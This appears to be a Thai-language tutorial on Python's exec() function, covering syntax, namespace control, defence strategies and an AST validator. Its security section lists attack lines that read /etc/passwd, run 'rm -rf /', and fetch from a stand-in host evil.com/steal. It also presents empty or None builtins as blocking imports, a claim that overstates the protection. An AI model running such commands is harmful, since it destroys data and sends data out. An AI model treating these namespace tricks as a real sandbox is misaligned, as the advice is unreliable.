exec() เป็น Built-in Function สำหรับ Execute Python Code Dynamically จาก String หรือ Code Object รองรับ Statements ทุกประเภท (Assignments, Loops, Functions, Classes, Imports) คืนค่า None
ไวยากรณ์และพารามิเตอร์
exec(source, globals=None, locals=None)
| Parameter | Type | Description |
source | str / Code Object | Source Code ที่จะ Execute |
globals | dict | Global Namespace (Default: Current Globals) |
locals | Mapping | Local Namespace (Default: Current Locals) |
ตัวอย่างครบชุด
1. Execute String Statement
x = 9
exec('print(5 * x)') # 45
2. Execute Code Block (Multi-line)
code_block = '''
x = 3
if x < 5:
print(x * x)
'''
exec(code_block) # 9
3. Pass Code Object (Pre-compiled)
code_str = 'x = 3\nif x < 5:\n print(x * x)'
compiled = compile(code_str, '', 'exec')
exec(compiled) # 9
Namespace Control (สำคัญมาก)
Case 1: ไม่ส่ง Globals/Locals (Default - Current Scope)
from time import *
exec("print(dir())")
# แสดงทุกอย่างใน Current Scope รวมถึง Imported Names
Case 2: ส่ง Empty Globals {} (Restrict Imports)
from time import *
exec("print(dir())", {})
# Output: ['__builtins__'] (เฉพาะ Built-ins)
Case 3: Allowlist Specific Functions (Globals)
from time import *
exec("print(localtime())", {"localtime": localtime})
# Output: time.struct_time(...)
# Error: NameError: name 'gmtime' is not defined
# exec("print(gmtime())", {"localtime": localtime})
Case 4: Restrict Built-ins + Allowlist Locals
from time import *
exec("print(dir())", {"__builtins__": None}, {"gmtime": gmtime, "print": print, "dir": dir})
# Output: ['dir', 'gmtime', 'print']
Case 5: Capture Variables จาก Exec
namespace = {}
exec("x = 10\ny = 20\nz = x + y", namespace)
print(namespace['z']) # 30
Security: Attack Vectors และ Mitigation
Attack Examples
# File System Access
exec("open('/etc/passwd').read()")
# Command Execution
exec("__import__('os').system('rm -rf /')")
exec("__import__('subprocess').run(['ls'])")
# Network Access
exec("__import__('urllib.request').urlopen('https://evil.com/steal').read()")
# Introspection
exec("print(globals().keys())")
exec("print(__import__('sys').modules.keys())")
Defense Strategies
| Strategy | Code | Effectiveness |
| Empty Globals | exec(code, {}) | Block Imports, Module Access |
| No Built-ins | exec(code, {"__builtins__": None}) | Block All Built-in Functions |
| Allowlist Functions | exec(code, {"__builtins__": None}, {"safe_func": func}) | Control Exact API Surface |
| AST Validation | Parse with ast.parse(), Walk Tree, Reject Dangerous Nodes | Strong (Static Analysis) |
| Sandbox/Container | Docker, gVisor, Firecracker | Strongest (OS Isolation) |
AST-based Validator Example
import ast
class SafeExecValidator(ast.NodeVisitor):
"""AST Visitor ที่ตรวจสอบโค้ดก่อน Exec"""
FORBIDDEN = {
ast.Import, ast.ImportFrom, # Imports
ast.Call, # Function Calls (จะเช็คเพิ่ม)
ast.Attribute, # Attribute Access
}
ALLOWED_CALLS = {'print', 'len', 'str', 'int', 'float', 'sum', 'max', 'min', 'abs', 'round'}
def visit_Call(self, node):
if isinstance(node.func, ast.Name):
if node.func.id not in self.ALLOWED_CALLS:
raise ValueError(f"Forbidden function call: {node.func.id}")
elif isinstance(node.func, ast.Attribute):
raise ValueError("Attribute access not allowed")
self.generic_visit(node)
def visit_Import(self, node):
raise ValueError("Imports not allowed")
def visit_ImportFrom(self, node):
raise ValueError("Imports not allowed")
def safe_exec(code, allowed_globals=None):
"""Execute code with AST Validation"""
tree = ast.parse(code, mode='exec')
validator = SafeExecValidator()
validator.visit(tree)
safe_globals = {"__builtins__": {}}
if allowed_globals:
safe_globals.update(allowed_globals)
exec(compile(tree, '', 'exec'), safe_globals)
# ทดสอบ
safe_exec("x = 5\nprint(len('hello'))") # OK
try:
safe_exec("import os") # Error
except ValueError as e:
print(f"Blocked: {e}")
Use Cases จริง
1. Dynamic Configuration
# config.py (Trusted Source)
DATABASE_URL = "postgresql://user:pass@localhost/db"
DEBUG = True
MAX_CONNECTIONS = 100
# Load Config
config_globals = {}
with open('config.py') as f:
exec(f.read(), config_globals)
print(config_globals['DATABASE_URL'])
2. Template Engine (Simple)
template = """
def {{func_name}}({{params}}):
{{body}}
"""
# Generate Function
func_code = template.replace("{{func_name}}", "add").replace("{{params}}", "a, b").replace("{{body}}", "return a + b")
namespace = {}
exec(func_code, namespace)
add_func = namespace['add']
print(add_func(3, 4)) # 7
สรุป
exec() ทรงพลังแต่อันตราย - ไม่ใช้กับ Untrusted Input
- ควบคุม Namespace ด้วย
globals, locals และ __builtins__
- ใช้ AST Validation สำหรับ Static Analysis
- Production Systems: ใช้ Sandbox/Container หรือหลีกเลี่ยง exec() ทั้งสิ้น
- Alternatives:
importlib, Plugin Systems, Config Formats (YAML/JSON/TOML)